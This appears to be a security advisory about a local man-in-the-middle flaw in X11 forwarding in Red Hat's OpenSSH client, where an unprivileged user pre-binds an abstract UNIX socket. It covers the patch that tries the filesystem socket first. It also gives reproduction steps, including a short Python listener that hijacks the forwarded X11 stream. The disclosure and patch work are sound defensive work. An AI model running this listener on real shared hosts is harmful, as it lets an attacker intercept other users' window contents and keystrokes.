Openssh: local mitm of x11 forwarding via abstract unix socket pre-binding in red hat enterprise linux openssh client versions

A local unprivileged attacker on the Linux client host pre-binds the abstract UNIX socket name (e.g. `\0/tmp/.X11-unix/X0`) before the OpenSSH client opens a forwarded X11 connection. Because Linux abstract UNIX sockets lack filesystem permission mediation, the attacker's listener receives the forwarded X11 session before the legitimate filesystem socket is tried. The attacker can then intercept forwarded X11 traffic, including sensitive window contents and input, and may substitute saved X11 authentication data into the hijacked stream [ref_id=1].

The proposed patch reverses the connection order in `connect_local_xsocket()`: the filesystem socket (`/tmp/.X11-unix/X%u`) is tried first, and the Linux abstract socket is retained only as a compatibility fallback [ref_id=1]. This closes the vulnerability because the filesystem socket is mediated by standard UNIX permissions and ownership, preventing an unprivileged local attacker from pre-binding it. The diff swaps the two `connect_local_xsocket_path()` calls and moves the `#ifdef linux` block after the filesystem attempt.

1. On a Linux system running the OpenSSH client, confirm the local display uses a UNIX-domain socket such as `:0` or `unix:0`. 2. Before opening a forwarded X11 connection, start a local unprivileged listener bound to the matching abstract socket name. For display `:0`: ```python import socket s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.bind("\0/tmp/.X11-unix/X0") s.listen(1) c, _ = s.accept() print("accepted; first bytes:", c.recv(64).hex()) ``` 3. In another terminal, start an SSH session with X11 forwarding enabled: ```bash ssh -X user@remote ``` 4. From the remote shell, trigger an X11 application so that the client opens the forwarded X11 channel, for example: ```bash xclock ``` 5. Observe that the attacker listener accepts the connection and receives the initial X11 bytes before the legitimate filesystem socket `/tmp/.X11-unix/X0` is used. 6. Optional confirmation: ```bash strace -f -e connect ssh -X user@remote ``` Expected result: tracing shows a successful `AF_UNIX` connect to the abstract socket name `\0/tmp/.X11-unix/X0` before any successful connect to `/tmp/.X11-unix/X0`.